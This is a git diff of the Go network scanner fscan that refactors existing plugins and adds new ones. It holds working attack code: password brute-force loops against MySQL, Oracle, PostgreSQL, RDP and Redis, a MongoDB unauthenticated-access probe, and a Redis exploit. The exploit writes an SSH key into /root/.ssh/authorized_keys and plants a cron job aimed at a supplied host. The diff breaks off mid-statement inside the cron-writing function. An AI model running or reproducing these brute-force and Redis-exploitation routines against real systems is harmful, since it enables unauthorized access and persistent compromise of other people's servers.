@@ package Plugins import ( "fmt" - "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/Common" "strings" "time" ) -func MongodbScan(info *common.HostInfo) error { - if common.IsBrute { +// MongodbScan 执行MongoDB未授权扫描 +func MongodbScan(info *Common.HostInfo) error { + if Common.IsBrute { return nil } + _, err := MongodbUnauth(info) if err != nil { - errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err) - common.LogError(errlog) + errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err) + Common.LogError(errlog) } return err } -func MongodbUnauth(info *common.HostInfo) (flag bool, err error) { - flag = false - // op_msg - packet1 := []byte{ +// MongodbUnauth 检测MongoDB未授权访问 +func MongodbUnauth(info *Common.HostInfo) (bool, error) { + // MongoDB查询数据包 + msgPacket := createOpMsgPacket() + queryPacket := createOpQueryPacket() + + realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) + + // 尝试OP_MSG查询 + reply, err := checkMongoAuth(realhost, msgPacket) + if err != nil { + // 失败则尝试OP_QUERY查询 + reply, err = checkMongoAuth(realhost, queryPacket) + if err != nil { + return false, err + } + } + + // 检查响应结果 + if strings.Contains(reply, "totalLinesWritten") { + result := fmt.Sprintf("[+] MongoDB %v 未授权访问", realhost) + Common.LogSuccess(result) + return true, nil + } + + return false, nil +} + +// checkMongoAuth 检查MongoDB认证状态 +func checkMongoAuth(address string, packet []byte) (string, error) { + // 建立TCP连接 + conn, err := Common.WrapperTcpWithTimeout("tcp", address, time.Duration(Common.Timeout)*time.Second) + if err != nil { + return "", err + } + defer conn.Close() + + // 设置超时时间 + if err := conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { + return "", err + } + + // 发送查询包 + if _, err := conn.Write(packet); err != nil { + return "", err + } + + // 读取响应 + reply := make([]byte, 1024) + count, err := conn.Read(reply) + if err != nil { + return "", err + } + + return string(reply[:count]), nil +} + +// createOpMsgPacket 创建OP_MSG查询包 +func createOpMsgPacket() []byte { + return []byte{ 0x69, 0x00, 0x00, 0x00, // messageLength 0x39, 0x00, 0x00, 0x00, // requestID 0x00, 0x00, 0x00, 0x00, // responseTo @@ -31,8 +89,11 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) { // sections db.adminCommand({getLog: "startupWarnings"}) 0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00, } - //op_query - packet2 := []byte{ +} + +// createOpQueryPacket 创建OP_QUERY查询包 +func createOpQueryPacket() []byte { + return []byte{ 0x48, 0x00, 0x00, 0x00, // messageLength 0x02, 0x00, 0x00, 0x00, // requestID 0x00, 0x00, 0x00, 0x00, // responseTo @@ -44,43 +105,4 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) { // query db.adminCommand({getLog: "startupWarnings"}) 0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00, } - - realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - - checkUnAuth := func(address string, packet []byte) (string, error) { - conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) - if err != nil { - return "", err - } - defer conn.Close() - err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) - if err != nil { - return "", err - } - _, err = conn.Write(packet) - if err != nil { - return "", err - } - reply := make([]byte, 1024) - count, err := conn.Read(reply) - if err != nil { - return "", err - } - return string(reply[0:count]), nil - } - - // send OP_MSG first - reply, err := checkUnAuth(realhost, packet1) - if err != nil { - reply, err = checkUnAuth(realhost, packet2) - if err != nil { - return flag, err - } - } - if strings.Contains(reply, "totalLinesWritten") { - flag = true - result := fmt.Sprintf("[+] Mongodb %v unauthorized", realhost) - common.LogSuccess(result) - } - return flag, err } diff --git a/Plugins/MySQL.go b/Plugins/MySQL.go new file mode 100644 index 00000000..a4f7fa4a --- /dev/null +++ b/Plugins/MySQL.go @@ -0,0 +1,81 @@ +package Plugins + +import ( + "database/sql" + "fmt" + _ "github.com/go-sql-driver/mysql" + "github.com/shadow1ng/fscan/Common" + "strings" + "time" +) + +// MysqlScan 执行MySQL服务扫描 +func MysqlScan(info *Common.HostInfo) (tmperr error) { + if Common.IsBrute { + return + } + + starttime := time.Now().Unix() + + // 尝试用户名密码组合 + for _, user := range Common.Userdict["mysql"] { + for _, pass := range Common.Passwords { + // 替换密码中的用户名占位符 + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := MysqlConn(info, user, pass) + if flag && err == nil { + return err + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] MySQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mysql"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +// MysqlConn 尝试MySQL连接 +func MysqlConn(info *Common.HostInfo, user string, pass string) (bool, error) { + host, port, username, password := info.Host, info.Ports, user, pass + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造连接字符串 + connStr := fmt.Sprintf( + "%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", + username, password, host, port, timeout, + ) + + // 建立数据库连接 + db, err := sql.Open("mysql", connStr) + if err != nil { + return false, err + } + defer db.Close() + + // 设置连接参数 + db.SetConnMaxLifetime(timeout) + db.SetConnMaxIdleTime(timeout) + db.SetMaxIdleConns(0) + + // 测试连接 + if err = db.Ping(); err != nil { + return false, err + } + + // 连接成功 + result := fmt.Sprintf("[+] MySQL %v:%v:%v %v", host, port, username, password) + Common.LogSuccess(result) + return true, nil +} diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index d3d0c840..7f81063a 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -4,7 +4,7 @@ import ( "bytes" "errors" "fmt" - "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/Common" "gopkg.in/yaml.v3" "net" "strconv" @@ -14,18 +14,18 @@ import ( var errNetBIOS = errors.New("netbios error") -func NetBIOS(info *common.HostInfo) error { +func NetBIOS(info *Common.HostInfo) error { netbios, _ := NetBIOS1(info) output := netbios.String() if len(output) > 0 { result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output) - common.LogSuccess(result) + Common.LogSuccess(result) return nil } return errNetBIOS } -func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { +func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) { netbios, err = GetNbnsname(info) var payload0 []byte if netbios.ServerService != "" || netbios.WorkstationService != "" { @@ -40,12 +40,12 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { } realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) var conn net.Conn - conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) + conn, err = Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) if err != nil { return } defer conn.Close() - err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) if err != nil { return } @@ -84,16 +84,16 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { return } -func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) { +func GetNbnsname(info *Common.HostInfo) (netbios NetBiosInfo, err error) { senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} //senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01") realhost := fmt.Sprintf("%s:137", info.Host) - conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second) + conn, err := net.DialTimeout("udp", realhost, time.Duration(Common.Timeout)*time.Second) if err != nil { return } defer conn.Close() - err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) if err != nil { return } diff --git a/Plugins/Oracle.go b/Plugins/Oracle.go new file mode 100644 index 00000000..0d058846 --- /dev/null +++ b/Plugins/Oracle.go @@ -0,0 +1,79 @@ +package Plugins + +import ( + "database/sql" + "fmt" + "github.com/shadow1ng/fscan/Common" + _ "github.com/sijms/go-ora/v2" + "strings" + "time" +) + +// OracleScan 执行Oracle服务扫描 +func OracleScan(info *Common.HostInfo) (tmperr error) { + if Common.IsBrute { + return + } + + starttime := time.Now().Unix() + + // 尝试用户名密码组合 + for _, user := range Common.Userdict["oracle"] { + for _, pass := range Common.Passwords { + // 替换密码中的用户名占位符 + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := OracleConn(info, user, pass) + if flag && err == nil { + return err + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] Oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["oracle"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +// OracleConn 尝试Oracle连接 +func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) { + host, port, username, password := info.Host, info.Ports, user, pass + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造连接字符串 + connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", + username, password, host, port) + + // 建立数据库连接 + db, err := sql.Open("oracle", connStr) + if err != nil { + return false, err + } + defer db.Close() + + // 设置连接参数 + db.SetConnMaxLifetime(timeout) + db.SetConnMaxIdleTime(timeout) + db.SetMaxIdleConns(0) + + // 测试连接 + if err = db.Ping(); err != nil { + return false, err + } + + // 连接成功 + result := fmt.Sprintf("[+] Oracle %v:%v:%v %v", host, port, username, password) + Common.LogSuccess(result) + return true, nil +} diff --git a/Plugins/Postgres.go b/Plugins/Postgres.go new file mode 100644 index 00000000..d2a8b897 --- /dev/null +++ b/Plugins/Postgres.go @@ -0,0 +1,79 @@ +package Plugins + +import ( + "database/sql" + "fmt" + _ "github.com/lib/pq" + "github.com/shadow1ng/fscan/Common" + "strings" + "time" +) + +// PostgresScan 执行PostgreSQL服务扫描 +func PostgresScan(info *Common.HostInfo) (tmperr error) { + if Common.IsBrute { + return + } + + starttime := time.Now().Unix() + + // 尝试用户名密码组合 + for _, user := range Common.Userdict["postgresql"] { + for _, pass := range Common.Passwords { + // 替换密码中的用户名占位符 + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := PostgresConn(info, user, pass) + if flag && err == nil { + return err + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] PostgreSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["postgresql"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +// PostgresConn 尝试PostgreSQL连接 +func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error) { + host, port, username, password := info.Host, info.Ports, user, pass + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造连接字符串 + connStr := fmt.Sprintf( + "postgres://%v:%v@%v:%v/postgres?sslmode=disable", + username, password, host, port, + ) + + // 建立数据库连接 + db, err := sql.Open("postgres", connStr) + if err != nil { + return false, err + } + defer db.Close() + + // 设置连接参数 + db.SetConnMaxLifetime(timeout) + + // 测试连接 + if err = db.Ping(); err != nil { + return false, err + } + + // 连接成功 + result := fmt.Sprintf("[+] PostgreSQL %v:%v:%v %v", host, port, username, password) + Common.LogSuccess(result) + return true, nil +} diff --git a/Plugins/RDP.go b/Plugins/RDP.go new file mode 100644 index 00000000..3bbfab3e --- /dev/null +++ b/Plugins/RDP.go @@ -0,0 +1,243 @@ +package Plugins + +import ( + "errors" + "fmt" + "github.com/shadow1ng/fscan/Common" + "github.com/tomatome/grdp/core" + "github.com/tomatome/grdp/glog" + "github.com/tomatome/grdp/protocol/nla" + "github.com/tomatome/grdp/protocol/pdu" + "github.com/tomatome/grdp/protocol/rfb" + "github.com/tomatome/grdp/protocol/sec" + "github.com/tomatome/grdp/protocol/t125" + "github.com/tomatome/grdp/protocol/tpkt" + "github.com/tomatome/grdp/protocol/x224" + "log" + "net" + "os" + "strconv" + "strings" + "sync" + "time" +) + +// Brutelist 表示暴力破解的用户名密码组合 +type Brutelist struct { + user string + pass string +} + +// RdpScan 执行RDP服务扫描 +func RdpScan(info *Common.HostInfo) (tmperr error) { + if Common.IsBrute { + return + } + + var ( + wg sync.WaitGroup + signal bool + num = 0 + all = len(Common.Userdict["rdp"]) * len(Common.Passwords) + mutex sync.Mutex + ) + + // 创建任务通道 + brlist := make(chan Brutelist) + port, _ := strconv.Atoi(info.Ports) + + // 启动工作协程 + for i := 0; i < Common.BruteThread; i++ { + wg.Add(1) + go worker(info.Host, Common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, Common.Timeout) + } + + // 分发扫描任务 + for _, user := range Common.Userdict["rdp"] { + for _, pass := range Common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + brlist <- Brutelist{user, pass} + } + } + close(brlist) + + // 等待所有任务完成 + go func() { + wg.Wait() + signal = true + }() + for !signal { + } + + return tmperr +} + +// worker RDP扫描工作协程 +func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, + signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) { + defer wg.Done() + + for one := range brlist { + if *signal { + return + } + go incrNum(num, mutex) + + user, pass := one.user, one.pass + flag, err := RdpConn(host, domain, user, pass, port, timeout) + + if flag && err == nil { + // 连接成功 + var result string + if domain != "" { + result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass) + } else { + result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass) + } + Common.LogSuccess(result) + *signal = true + return + } + + // 连接失败 + errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err) + Common.LogError(errlog) + } +} + +// incrNum 线程安全地增加计数器 +func incrNum(num *int, mutex *sync.Mutex) { + mutex.Lock() + *num++ + mutex.Unlock() +} + +// RdpConn 尝试RDP连接 +func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) { + target := fmt.Sprintf("%s:%d", ip, port) + + // 创建RDP客户端 + client := NewClient(target, glog.NONE) + if err := client.Login(domain, user, password, timeout); err != nil { + return false, err + } + + return true, nil +} + +// Client RDP客户端结构 +type Client struct { + Host string // 服务地址(ip:port) + tpkt *tpkt.TPKT // TPKT协议层 + x224 *x224.X224 // X224协议层 + mcs *t125.MCSClient // MCS协议层 + sec *sec.Client // 安全层 + pdu *pdu.Client // PDU协议层 + vnc *rfb.RFB // VNC协议(可选) +} + +// NewClient 创建新的RDP客户端 +func NewClient(host string, logLevel glog.LEVEL) *Client { + // 配置日志 + glog.SetLevel(logLevel) + logger := log.New(os.Stdout, "", 0) + glog.SetLogger(logger) + + return &Client{ + Host: host, + } +} + +// Login 执行RDP登录 +func (g *Client) Login(domain, user, pwd string, timeout int64) error { + // 建立TCP连接 + conn, err := Common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second) + if err != nil { + return fmt.Errorf("[连接错误] %v", err) + } + defer conn.Close() + glog.Info(conn.LocalAddr().String()) + + // 初始化协议栈 + g.initProtocolStack(conn, domain, user, pwd) + + // 建立X224连接 + if err = g.x224.Connect(); err != nil { + return fmt.Errorf("[X224连接错误] %v", err) + } + glog.Info("等待连接建立...") + + // 等待连接完成 + wg := &sync.WaitGroup{} + breakFlag := false + wg.Add(1) + + // 设置事件处理器 + g.setupEventHandlers(wg, &breakFlag, &err) + + wg.Wait() + return err +} + +// initProtocolStack 初始化RDP协议栈 +func (g *Client) initProtocolStack(conn net.Conn, domain, user, pwd string) { + // 创建协议层实例 + g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd)) + g.x224 = x224.New(g.tpkt) + g.mcs = t125.NewMCSClient(g.x224) + g.sec = sec.NewClient(g.mcs) + g.pdu = pdu.NewClient(g.sec) + + // 设置认证信息 + g.sec.SetUser(user) + g.sec.SetPwd(pwd) + g.sec.SetDomain(domain) + + // 配置协议层关联 + g.tpkt.SetFastPathListener(g.sec) + g.sec.SetFastPathListener(g.pdu) + g.pdu.SetFastPathSender(g.tpkt) +} + +// setupEventHandlers 设置PDU事件处理器 +func (g *Client) setupEventHandlers(wg *sync.WaitGroup, breakFlag *bool, err *error) { + // 错误处理 + g.pdu.On("error", func(e error) { + *err = e + glog.Error("错误:", e) + g.pdu.Emit("done") + }) + + // 连接关闭 + g.pdu.On("close", func() { + *err = errors.New("连接关闭") + glog.Info("连接已关闭") + g.pdu.Emit("done") + }) + + // 连接成功 + g.pdu.On("success", func() { + *err = nil + glog.Info("连接成功") + g.pdu.Emit("done") + }) + + // 连接就绪 + g.pdu.On("ready", func() { + glog.Info("连接就绪") + g.pdu.Emit("done") + }) + + // 屏幕更新 + g.pdu.On("update", func(rectangles []pdu.BitmapData) { + glog.Info("屏幕更新:", rectangles) + }) + + // 完成处理 + g.pdu.On("done", func() { + if !*breakFlag { + *breakFlag = true + wg.Done() + } + }) +} diff --git a/Plugins/redis.go b/Plugins/Redis.go similarity index 51% rename from Plugins/redis.go rename to Plugins/Redis.go index 88ad73da..7dfd9783 100644 --- a/Plugins/redis.go +++ b/Plugins/Redis.go @@ -3,7 +3,7 @@ package Plugins import ( "bufio" "fmt" - "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/Common" "io" "net" "os" @@ -12,159 +12,225 @@ import ( ) var ( - dbfilename string - dir string + dbfilename string // Redis数据库文件名 + dir string // Redis数据库目录 ) -func RedisScan(info *common.HostInfo) (tmperr error) { +// RedisScan 执行Redis服务扫描 +func RedisScan(info *Common.HostInfo) (tmperr error) { + fmt.Println("[+] Redis扫描模块开始...") starttime := time.Now().Unix() + + // 尝试无密码连接 flag, err := RedisUnauth(info) - if flag == true && err == nil { + if flag && err == nil { return err } - if common.IsBrute { + + if Common.IsBrute { return } - for _, pass := range common.Passwords { + + // 尝试密码暴力破解 + for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", "redis", -1) + flag, err := RedisConn(info, pass) - if flag == true && err == nil { + if flag && err == nil { + return err + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] Redis %v:%v %v %v", info.Host, info.Ports, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Passwords)) * Common.Timeout) { return err - } else { - errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) { - return err - } } } + fmt.Println("[+] Redis扫描模块结束...") return tmperr } -func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) { - flag = false +// RedisConn 尝试Redis连接 +func RedisConn(info *Common.HostInfo, pass string) (bool, error) { realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) + + // 建立TCP连接 + conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) if err != nil { - return flag, err + return false, err } defer conn.Close() - err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) - if err != nil { - return flag, err + + // 设置超时 + if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { + return false, err } - _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))) - if err != nil { - return flag, err + + // 发送认证命令 + if _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))); err != nil { + return false, err } + + // 读取响应 reply, err := readreply(conn) if err != nil { - return flag, err + return false, err } + + // 认证成功 if strings.Contains(reply, "+OK") { - flag = true + // 获取配置信息 dbfilename, dir, err = getconfig(conn) if err != nil { result := fmt.Sprintf("[+] Redis %s %s", realhost, pass) - common.LogSuccess(result) - return flag, err - } else { - result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename) - common.LogSuccess(result) + Common.LogSuccess(result) + return true, err } + + result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename) + Common.LogSuccess(result) + + // 尝试利用 err = Expoilt(realhost, conn) + return true, err } - return flag, err + + return false, err } -func RedisUnauth(info *common.HostInfo) (flag bool, err error) { +// RedisUnauth 尝试Redis未授权访问检测 +func RedisUnauth(info *Common.HostInfo) (flag bool, err error) { flag = false realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) + + // 建立TCP连接 + conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis连接失败 %s: %v", realhost, err)) return flag, err } defer conn.Close() - err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) - if err != nil { + + // 设置读取超时 + if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %s 设置超时失败: %v", realhost, err)) return flag, err } + + // 发送info命令测试未授权访问 _, err = conn.Write([]byte("info\r\n")) if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %s 发送命令失败: %v", realhost, err)) return flag, err } + + // 读取响应 reply, err := readreply(conn) if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %s 读取响应失败: %v", realhost, err)) return flag, err } + + // 判断是否存在未授权访问 if strings.Contains(reply, "redis_version") { flag = true + // 获取Redis配置信息 dbfilename, dir, err = getconfig(conn) if err != nil { - result := fmt.Sprintf("[+] Redis %s unauthorized", realhost) - common.LogSuccess(result) + result := fmt.Sprintf("[+] Redis %s 发现未授权访问", realhost) + Common.LogSuccess(result) return flag, err - } else { - result := fmt.Sprintf("[+] Redis %s unauthorized file:%s/%s", realhost, dir, dbfilename) - common.LogSuccess(result) } + + // 输出详细信息 + result := fmt.Sprintf("[+] Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename) + Common.LogSuccess(result) + + // 尝试漏洞利用 err = Expoilt(realhost, conn) + if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %s 漏洞利用失败: %v", realhost, err)) + } } + return flag, err } +// Expoilt 尝试Redis漏洞利用 func Expoilt(realhost string, conn net.Conn) error { - if common.Noredistest { + // 如果配置为不进行测试则直接返回 + if Common.Noredistest { return nil } + + // 测试目录写入权限 flagSsh, flagCron, err := testwrite(conn) if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %v 测试写入权限失败: %v", realhost, err)) return err } - if flagSsh == true { - result := fmt.Sprintf("[+] Redis %v like can write /root/.ssh/", realhost) - common.LogSuccess(result) - if common.RedisFile != "" { - writeok, text, err := writekey(conn, common.RedisFile) + + // SSH密钥写入测试 + if flagSsh { + Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /root/.ssh/", realhost)) + + // 如果指定了密钥文件则尝试写入 + if Common.RedisFile != "" { + writeok, text, err := writekey(conn, Common.RedisFile) if err != nil { - fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text)) + Common.LogError(fmt.Sprintf("[-] Redis %v SSH密钥写入错误: %v %v", realhost, text, err)) return err } + if writeok { - result := fmt.Sprintf("[+] Redis %v SSH public key was written successfully", realhost) - common.LogSuccess(result) + Common.LogSuccess(fmt.Sprintf("[+] Redis %v SSH公钥写入成功", realhost)) } else { - fmt.Println("[-] Redis ", realhost, "SSHPUB write failed", text) + Common.LogError(fmt.Sprintf("[-] Redis %v SSH公钥写入失败: %v", realhost, text)) } } } - if flagCron == true { - result := fmt.Sprintf("[+] Redis %v like can write /var/spool/cron/", realhost) - common.LogSuccess(result) - if common.RedisShell != "" { - writeok, text, err := writecron(conn, common.RedisShell) + // 定时任务写入测试 + if flagCron { + Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /var/spool/cron/", realhost)) + + // 如果指定了shell命令则尝试写入定时任务 + if Common.RedisShell != "" { + writeok, text, err := writecron(conn, Common.RedisShell) if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入错误: %v", realhost, err)) return err } + if writeok { - result := fmt.Sprintf("[+] Redis %v /var/spool/cron/root was written successfully", realhost) - common.LogSuccess(result) + Common.LogSuccess(fmt.Sprintf("[+] Redis %v 成功写入 /var/spool/cron/root", realhost)) } else { - fmt.Println("[-] Redis ", realhost, "cron write failed", text) + Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入失败: %v", realhost, text)) } } } - err = recoverdb(dbfilename, dir, conn) + + // 恢复数据库配置 + if err = recoverdb(dbfilename, dir, conn); err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %v 恢复数据库失败: %v", realhost, err)) + } + return err } +// writekey 向Redis写入SSH密钥 func writekey(conn net.Conn, filename string) (flag bool, text string, err error) { flag = false + + // 设置文件目录为SSH目录 _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")) if err != nil { return flag, text, err @@ -173,8 +239,10 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error if err != nil { return flag, text, err } + + // 设置文件名为authorized_keys if strings.Contains(text, "OK") { - _, err := conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")) + _, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")) if err != nil { return flag, text, err } @@ -182,16 +250,21 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error if err != nil { return flag, text, err } + + // 读取并写入SSH密钥 if strings.Contains(text, "OK") { + // 读取密钥文件 key, err := Readfile(filename) if err != nil { - text = fmt.Sprintf("Open %s error, %v", filename, err) + text = fmt.Sprintf("[-] 读取密钥文件 %s 失败: %v", filename, err) return flag, text, err } if len(key) == 0 { - text = fmt.Sprintf("the keyfile %s is empty", filename) + text = fmt.Sprintf("[-] 密钥文件 %s 为空", filename) return flag, text, err } + + // 写入密钥 _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))) if err != nil { return flag, text, err @@ -200,6 +273,8 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error if err != nil { return flag, text, err } + + // 保存更改 if strings.Contains(text, "OK") { _, err = conn.Write([]byte("save\r\n")) if err != nil { @@ -215,16 +290,21 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error } } } + + // 截断过长的响应文本 text = strings.TrimSpace(text) if len(text) > 50 { text = text[:50] } + return flag, text, err } +// writecron 向Redis写入定时任务 func writecron(conn net.Conn, host string) (flag bool, text string, err error) { flag = false - // 尝试写入Ubuntu的路径 + + // 首先尝试Ubuntu系统的cron路径 _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n")) if err != nil { return flag, text, err @@ -233,8 +313,9 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { if err != nil { return flag, text, err } + + // 如果Ubuntu路径失败,尝试CentOS系统的cron路径 if !strings.Contains(text, "OK") { - // 如果没有返回"OK",可能是CentOS,尝试CentOS的路径 _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")) if err != nil { return flag, text, err @@ -244,7 +325,10 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { return flag, text, err } } + + // 如果成功设置目录,继续后续操作 if strings.Contains(text, "OK") { + // 设置数据库文件名为root _, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n")) if err != nil { return flag, text, err @@ -253,13 +337,19 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { if err != nil { return flag, text, err } + if strings.Contains(text, "OK") { + // 解析目标主机地址 target := strings.Split(host, ":") if len(target) < 2 { - return flag, "host error", err + return flag, "[-] 主机地址格式错误", err } scanIp, scanPort := target[0], target[1] - _, err = 